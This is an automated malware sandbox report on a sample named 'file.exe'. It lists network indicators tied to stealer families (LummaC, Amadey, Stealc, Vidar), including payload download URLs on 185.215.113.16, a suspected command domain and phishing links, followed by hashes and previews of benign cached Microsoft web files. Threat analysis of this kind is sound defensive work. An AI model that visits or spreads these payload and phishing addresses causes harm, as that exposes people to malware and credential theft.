go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net,
Execution Graph export aborted for target file.exe, PID 2608 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:18:10	API Interceptor	15x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.67	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse
	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	Remittance Advice__cybg.com_4093180040.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	9tjbjRnw20.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	0p804IWZ7q.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	3zEbFFuoc9.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	ftO1qj6D8w.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	05VYVKFZK6.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	doc_Agilitas_9769667025.html	Get hash	malicious	Phisher	Browse	13.107.246.45
s-part-0039.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse	13.107.246.67
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	13.107.246.67
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.67
	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.67
	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67
frogmen-smell.sbs	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Remittance Advice__cybg.com_4093180040.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	doc_Agilitas_9769667025.html	Get hash	malicious	Phisher	Browse	13.107.246.60
	Dzsb.Qyd.Install.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://tractopieces35-my.sharepoint.com/:o:/g/personal/lecomte22_tracto-pieces_fr/EqM9FMd6batFtzMgdv1f2XUBmLAJecWys730N_AOVrXnXA?e=3TLKO8	Get hash	malicious	Unknown	Browse	52.108.11.12
	704b67b5-6bc9-dbd5-0710-60eb98e03983.eml	Get hash	malicious	Unknown	Browse	52.109.28.46
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	72.145.3.21
	Email_sending_restriction_[sebastien.morel!](#HOHSM).html	Get hash	malicious	Unknown	Browse	52.98.227.242
MICROSOFT-CORP-MSN-AS-BLOCKUS	Remittance Advice__cybg.com_4093180040.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	doc_Agilitas_9769667025.html	Get hash	malicious	Phisher	Browse	13.107.246.60
	Dzsb.Qyd.Install.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://tractopieces35-my.sharepoint.com/:o:/g/personal/lecomte22_tracto-pieces_fr/EqM9FMd6batFtzMgdv1f2XUBmLAJecWys730N_AOVrXnXA?e=3TLKO8	Get hash	malicious	Unknown	Browse	52.108.11.12
	704b67b5-6bc9-dbd5-0710-60eb98e03983.eml	Get hash	malicious	Unknown	Browse	52.109.28.46
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	72.145.3.21
	Email_sending_restriction_[sebastien.morel!](#HOHSM).html	Get hash	malicious	Unknown	Browse	52.98.227.242
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.google.es/url?q=query6iir(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fsafrareal.com.br%2fyoya%2fsjnviflutf2ksz0koshykwmhlhv20ssu2pivu/amZlcmd1c29uQHN5bmVyZ2lzZWR1Y2F0aW9uLmNvbQ==$?	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	Remittance Advice__cybg.com_4093180040.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://l.e.expansion.com/rts/go2.aspx?h=1472587&tp=i-1NGB-A5-b00-1YXgaC-6v-X6KL-1c-1D5I0b-lAXcqWepVc-1yosex&pi=X3ChywZXQmNE8VeceGHlfotAef21gDzbhSQg1vZMQMU&x=dynamicitdevices.com%2Fjoikdjmeue%2FEs9XRsDghMLASO1/YW5kcmVhcy5mZXJjaGVyQGRhaWljaGktc2Fua3lvLmV1	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	doc_Agilitas_9769667025.html	Get hash	malicious	Phisher	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://tractopieces35-my.sharepoint.com/:o:/g/personal/lecomte22_tracto-pieces_fr/EqM9FMd6batFtzMgdv1f2XUBmLAJecWys730N_AOVrXnXA?e=3TLKO8	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	loader.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	c2_Acid.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	XRuncher_2.5.0.6.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	Dzsb.Qyd.Install.exe	Get hash	malicious	XRed	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	pPAvbVl3HM.exe	Get hash	malicious	LummaC	Browse	172.67.174.133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
